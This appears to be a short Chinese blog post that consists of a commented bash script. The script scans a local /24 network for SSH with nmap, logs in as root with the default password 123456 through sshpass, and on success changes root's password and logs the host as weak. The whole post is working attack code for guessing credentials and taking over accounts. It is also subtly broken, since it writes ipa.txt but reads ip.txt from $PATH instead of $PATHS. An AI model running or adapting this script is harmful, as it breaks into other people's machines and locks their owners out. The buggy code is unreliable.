直接上脚本,内有注释
1 #!/bin/bash 2 #This is auto login linux systtem on port 22 3 #设置文件存放目录 4 PATHS=/root 5 #定义要扫描的网段 6 LAN=192.168.1.1/24 7 #define port 8 PORT=22 9 #define password 10 PASSWORD=123456 11 #read nmap ip,loop 12 #定义用户 13 USERS=root 14 #定义一个新的密码 15 NEWPASS=wangmeiqing 16 #开始扫描网段 17 nmap -n --open -p 22 $LAN >> $PATHS/linux.txt && grep 192 $PATHS/linux.txt | awk '{print $5}' >>$PATHS/ipa.txt 18 for ip in `cat $PATH/ip.txt` 19 do 20 #显示目标机器根目录,-o StrictHostKeyChecking=no 不用输入yes 21 sshpass -p $PASSWORD ssh $USERS@$ip -o StrictHostKeyChecking=no "ls /" 22 #判断命令是否执行成功,执行成功,修改密码,把ip写入弱密码文件 23 if [ $? -eq 0 ];then 24 #如果执行成功,修改目标机器的密码 25 sshpass -p $PASSWORD ssh $USERS@$ip " echo $NEWPASS |passwd --stdin $USERS" 26 echo $ip >> $PATHS/ruo.txt 27 28 fi 29 done